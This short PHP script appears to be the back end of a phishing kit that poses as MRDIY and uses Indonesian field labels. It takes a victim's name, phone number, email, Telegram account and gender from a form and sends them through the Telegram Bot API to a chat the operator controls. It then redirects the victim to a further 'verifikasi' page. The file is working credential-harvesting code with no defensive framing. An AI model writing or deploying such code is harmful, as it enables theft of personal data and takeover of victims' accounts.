<?php
include '../mailman.php';
session_start();
$name = $_POST['name'];
$phone = $_POST['phone'];
$email = $_POST['email'];
$telegram = $_POST['telegram'];
$gender = $_POST['gender'];

$_SESSION['name'] = $name;
$_SESSION['phone'] = $phone;
$_SESSION['email'] = $email;
$_SESSION['telegram'] = $telegram;
$_SESSION['gender'] = $gender;

$message = "

MRDIY | NoHP ".$b."

• Nama Lengkap : ".$name."
• Nomor Handphone  : ".$phone."
• Email : ".$email."
• Akun : ".$telegram."
• Gender : ".$gender."
";

function sendMessage($telegram_id, $message, $id_bot) {
    $url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage?parse_mode=markdown&chat_id=" . $telegram_id;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

sendMessage($telegram_id, $message, $id_bot);
header('Location: ../verifikasi.html');
?>
